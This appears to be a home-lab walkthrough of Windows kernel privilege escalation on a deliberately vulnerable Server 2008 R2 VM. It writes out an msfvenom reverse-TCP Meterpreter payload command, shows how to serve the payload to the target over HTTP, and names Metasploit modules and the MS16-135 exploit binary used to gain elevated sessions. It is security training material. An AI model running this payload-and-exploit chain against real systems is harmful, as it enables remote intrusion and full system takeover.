🔬Win Kernel Privesc

Lab 1 (Extra)

🔬 Home Lab

I have prepared a vulnerable Windows 2008 R2 Virtual Machine and connected it to the same network of the Kali virtual machine.

  • Host system: Kali Linux - IP 192.168.31.128

  • Target system: Windown Server 2008 R2 - IP 192.168.31.131 - test:Exploit12345

Targeting Kernel space memory and apps can cause system crashes, data loss, etc. Do NOT use it in production systems

Exploitation

  • Get a Meterpreter session on the target with a manual payload

  • Create the payload on the Kali VM

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.128 LPORT=4444 -f exe -o payload.exe
  • Start a webserver on Kali VM

python3 -m http.server
  • On the Win2008 VM, login with the test:Exploit12345 user

    • Open the link http://192.168.31.128:8000/ and download payload.exe

    • Stop the webserver on Kali VM

  • Set up a payload handler on Kali VM

  • On the Win2008 VM, run the payload with the test user

  • View the meterpreter session on Kali VM

Meterpreter Success
  • Background the session

Local Privilege Escalation

  • Enumerate Windows Kernel vulnerabilities with Metasploit

Metasploit local_exploit_suggester
Metasploit ms16_014_wmi_recv_notif
Privileged Meterpreter Success
  • By using a kernel exploit for this specific version of Windows O.S., the attacker is able to get a meterpreter session with elevated privileges.

Current sessions

Manual Privilege Escalation

  • Save the systeminfo output to a file named win2008r2-systeminfo.txt

Windows-Exploit-Suggester

Windows-Exploit-Suggester
Windows-Exploit-Suggester

MS16-135

  • Search MS16-135 in the windows-kernel-exploits github repository

    • check the 41015.c C file to check if the code does what it's supposed to

    • in this case I will use the pre-build executable 41015.exe

  • Knowing that the specific Windows version is vulnerable to this particular exploit, proceed with the exploitation

Use the meterpreter access to upload the 41015.exe file to the temp directory within the Windows O.S.

41015.exe Privilege Escalation

🧪 I have tried to copy the exploit file to my protected Windows host. Antivirus will detect the Exploit file, so pay attention.

VirusTotal Analysis


Last updated

Was this helpful?